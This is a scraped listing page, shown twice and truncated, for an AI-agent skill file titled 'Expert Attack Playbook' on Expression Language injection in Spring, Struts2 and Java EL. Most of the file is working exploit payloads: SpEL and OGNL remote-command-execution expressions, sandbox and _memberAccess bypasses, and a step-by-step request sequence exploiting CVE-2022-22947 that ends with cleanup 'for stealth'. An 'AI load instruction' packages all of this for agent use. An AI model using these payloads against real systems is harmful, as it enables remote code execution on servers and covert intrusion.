expression-language-injection

Name: expression-language-injection
Author: Prohao42

91stars8forks

How to install expression-language-injection?

prohao42/aimy-skill/expression-language-injection

$npx -y skills add Prohao42/aimy-skill --skill expression-language-injection

Installs into the current project.

Summary

--- name: expression-language-injection description: >- Expression Language injection playbook. Use when Java EL, SpEL, OGNL, or MVEL expressions may evaluate attacker-controlled input in Spring, Struts2, Confluence, or similar frameworks. ---

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Expression Language Injection — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert EL injection techniques covering SpEL (Spring), OGNL (Struts2), and Java EL (JSP/JSF). Distinct from SSTI — EL injection targets expression evaluators in Java frameworks, not template engines. Covers sandbox bypass, `_memberAccess` manipulation, actuator abuse, and real-world CVE chains.
4
5	## 0. RELATED ROUTING
6
7	- [ssti-server-side-template-injection](../ssti-server-side-template-injection/SKILL.md) for template engines (Jinja2, FreeMarker, Twig) — different attack surface
8	- [jndi-injection](../jndi-injection/SKILL.md) when EL evaluation leads to JNDI lookup
9
10	Key distinction: SSTI targets template rendering engines; EL injection targets expression evaluators embedded in Java frameworks. They share detection probes (`${7*7}`) but diverge in exploitation.
11
12	---
13
14	## 1. DETECTION — POLYGLOT PROBES
15
16	```text
17	${7*7} → 49 = SpEL, OGNL, or Java EL
18	#{7*7} → 49 = SpEL (alternative syntax) or JSF EL
19	%{7*7} → 49 = OGNL (Struts2)
20	${T(java.lang.Math).random()} → random float = SpEL confirmed
21	%{#context} → object dump = OGNL confirmed
22	```
23
24	### Disambiguation
25
26	\| Response to `${77}` \| Response to `%{77}` \| Engine \|
27	\|---\|---\|---\|
28	\| 49 \| literal `%{7*7}` \| SpEL or Java EL \|
29	\| literal `${7*7}` \| 49 \| OGNL (Struts2) \|
30	\| 49 \| 49 \| Both may be active \|
31
32	---
33
34	## 2. SpEL (SPRING EXPRESSION LANGUAGE)
35
36	### Where SpEL Appears
37
38	- `@Value("${...}")` annotations
39	- Spring Security expressions (`@PreAuthorize`)
40	- Spring Cloud Gateway route predicates and filters
41	- Thymeleaf `th:text="${...}"` (when combined with `__${...}__` preprocessing)
42	- Spring Data `@Query` with SpEL
43
44	### RCE via Runtime.exec
45
46	```java
47	${T(java.lang.Runtime).getRuntime().exec("id")}
48	```
49
50	### RCE with Output Capture (Commons IO)
51
52	```java
53	${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}
54	```
55
56	### RCE with Output Capture (Spring StreamUtils)
57
58	```java
59	#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}
60	```
61
62	### ProcessBuilder (alternative when Runtime is blocked)
63
64	```java
65	${new java.lang.ProcessBuilder(new String[]{"id"}).start()}
66	```
67
68	### Spring Cloud Gateway — CVE-2022-22947
69
70	Exploit via actuator to add malicious route with SpEL filter:
71
72	```bash
73	# Step 1: Add route with SpEL in filter (with output capture)
74	POST /actuator/gateway/routes/hacktest
75	Content-Type: application/json
76	{
77	"id": "hacktest",
78	"filters": [{
79	"name": "AddResponseHeader",
80	"args": {
81	"name": "Result",
82	"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}"
83	}
84	}],
85	"uri": "http://example.com",
86	"predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}]
87	}
88
89	# Step 2: Refresh routes to apply
90	POST /actuator/gateway/refresh
91
92	# Step 3: Trigger the route
93	GET /hackpath
94	# Response header "Result" contains command output
95
96	# Step 4: Clean up (important for stealth)
97	DELETE /actuator/gateway/routes/hacktest
98	POST /actuator/gateway/refresh
99	```
100
101	### SpEL Sandbox Bypass
102
103	When `SimpleEvaluationContext` is used (restricts `T()` operator):
104
105	```java
106	// Try reflection-based bypass:
107	${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}
108	```
109
110	---
111
112	## 3. OGNL (OBJECT-GRAPH NAVIGATION LANGUAGE)
113
114	### Where OGNL Appears
115
116	- Apache Struts2 — primary OGNL consumer
117	- Confluence Server — uses OGNL in certain request paths
118	- Any Java app using `ognl.Ognl.getValue()` or `ognl.Ognl.setValue()`
119
120	### Basic RCE
121
122	```
123	%{(#cmd='id').(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec(#cmd))}
124	```
125
126	### Struts2 Sandbox Bypass — _memberAccess Manipulation
127
128	Struts2 restricts OGNL via `SecurityMemberAccess`. Classic bypass clears restrictions:
129
130	```
131	%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
132	```
133
134	### Struts2 OgnlUtil Blacklist Clear
135
136	Later Struts2 versions use class/package blacklists. Bypass by clearing `excludedClasses` and `excludedPackag

People who liked this also viewed

6 picks

Type

expression-language-injection

91stars8forks

View on GitHub

How to install expression-language-injection?

prohao42/aimy-skill/expression-language-injection

$npx -y skills add Prohao42/aimy-skill --skill expression-language-injection

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Expression Language Injection — Expert Attack Playbook
2
3	> AI LOAD INSTRUCTION: Expert EL injection techniques covering SpEL (Spring), OGNL (Struts2), and Java EL (JSP/JSF). Distinct from SSTI — EL injection targets expression evaluators in Java frameworks, not template engines. Covers sandbox bypass, `_memberAccess` manipulation, actuator abuse, and real-world CVE chains.
4
5	## 0. RELATED ROUTING
6
7	- [ssti-server-side-template-injection](../ssti-server-side-template-injection/SKILL.md) for template engines (Jinja2, FreeMarker, Twig) — different attack surface
8	- [jndi-injection](../jndi-injection/SKILL.md) when EL evaluation leads to JNDI lookup
9
10	Key distinction: SSTI targets template rendering engines; EL injection targets expression evaluators embedded in Java frameworks. They share detection probes (`${7*7}`) but diverge in exploitation.
11
12	---
13
14	## 1. DETECTION — POLYGLOT PROBES
15
16	```text
17	${7*7} → 49 = SpEL, OGNL, or Java EL
18	#{7*7} → 49 = SpEL (alternative syntax) or JSF EL
19	%{7*7} → 49 = OGNL (Struts2)
20	${T(java.lang.Math).random()} → random float = SpEL confirmed
21	%{#context} → object dump = OGNL confirmed
22	```
23
24	### Disambiguation
25
26	\| Response to `${77}` \| Response to `%{77}` \| Engine \|
27	\|---\|---\|---\|
28	\| 49 \| literal `%{7*7}` \| SpEL or Java EL \|
29	\| literal `${7*7}` \| 49 \| OGNL (Struts2) \|
30	\| 49 \| 49 \| Both may be active \|
31
32	---
33
34	## 2. SpEL (SPRING EXPRESSION LANGUAGE)
35
36	### Where SpEL Appears
37
38	- `@Value("${...}")` annotations
39	- Spring Security expressions (`@PreAuthorize`)
40	- Spring Cloud Gateway route predicates and filters
41	- Thymeleaf `th:text="${...}"` (when combined with `__${...}__` preprocessing)
42	- Spring Data `@Query` with SpEL
43
44	### RCE via Runtime.exec
45
46	```java
47	${T(java.lang.Runtime).getRuntime().exec("id")}
48	```
49
50	### RCE with Output Capture (Commons IO)
51
52	```java
53	${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}
54	```
55
56	### RCE with Output Capture (Spring StreamUtils)
57
58	```java
59	#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}
60	```
61
62	### ProcessBuilder (alternative when Runtime is blocked)
63
64	```java
65	${new java.lang.ProcessBuilder(new String[]{"id"}).start()}
66	```
67
68	### Spring Cloud Gateway — CVE-2022-22947
69
70	Exploit via actuator to add malicious route with SpEL filter:
71
72	```bash
73	# Step 1: Add route with SpEL in filter (with output capture)
74	POST /actuator/gateway/routes/hacktest
75	Content-Type: application/json
76	{
77	"id": "hacktest",
78	"filters": [{
79	"name": "AddResponseHeader",
80	"args": {
81	"name": "Result",
82	"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}"
83	}
84	}],
85	"uri": "http://example.com",
86	"predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}]
87	}
88
89	# Step 2: Refresh routes to apply
90	POST /actuator/gateway/refresh
91
92	# Step 3: Trigger the route
93	GET /hackpath
94	# Response header "Result" contains command output
95
96	# Step 4: Clean up (important for stealth)
97	DELETE /actuator/gateway/routes/hacktest
98	POST /actuator/gateway/refresh
99	```
100
101	### SpEL Sandbox Bypass
102
103	When `SimpleEvaluationContext` is used (restricts `T()` operator):
104
105	```java
106	// Try reflection-based bypass:
107	${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}
108	```
109
110	---
111
112	## 3. OGNL (OBJECT-GRAPH NAVIGATION LANGUAGE)
113
114	### Where OGNL Appears
115
116	- Apache Struts2 — primary OGNL consumer
117	- Confluence Server — uses OGNL in certain request paths
118	- Any Java app using `ognl.Ognl.getValue()` or `ognl.Ognl.setValue()`
119
120	### Basic RCE
121
122	```
123	%{(#cmd='id').(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec(#cmd))}
124	```
125
126	### Struts2 Sandbox Bypass — _memberAccess Manipulation
127
128	Struts2 restricts OGNL via `SecurityMemberAccess`. Classic bypass clears restrictions:
129
130	```
131	%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
132	```
133
134	### Struts2 OgnlUtil Blacklist Clear
135
136	Later Struts2 versions use class/package blacklists. Bypass by clearing `excludedClasses` and `excludedPackag

People who liked this also viewed

6 picks

Type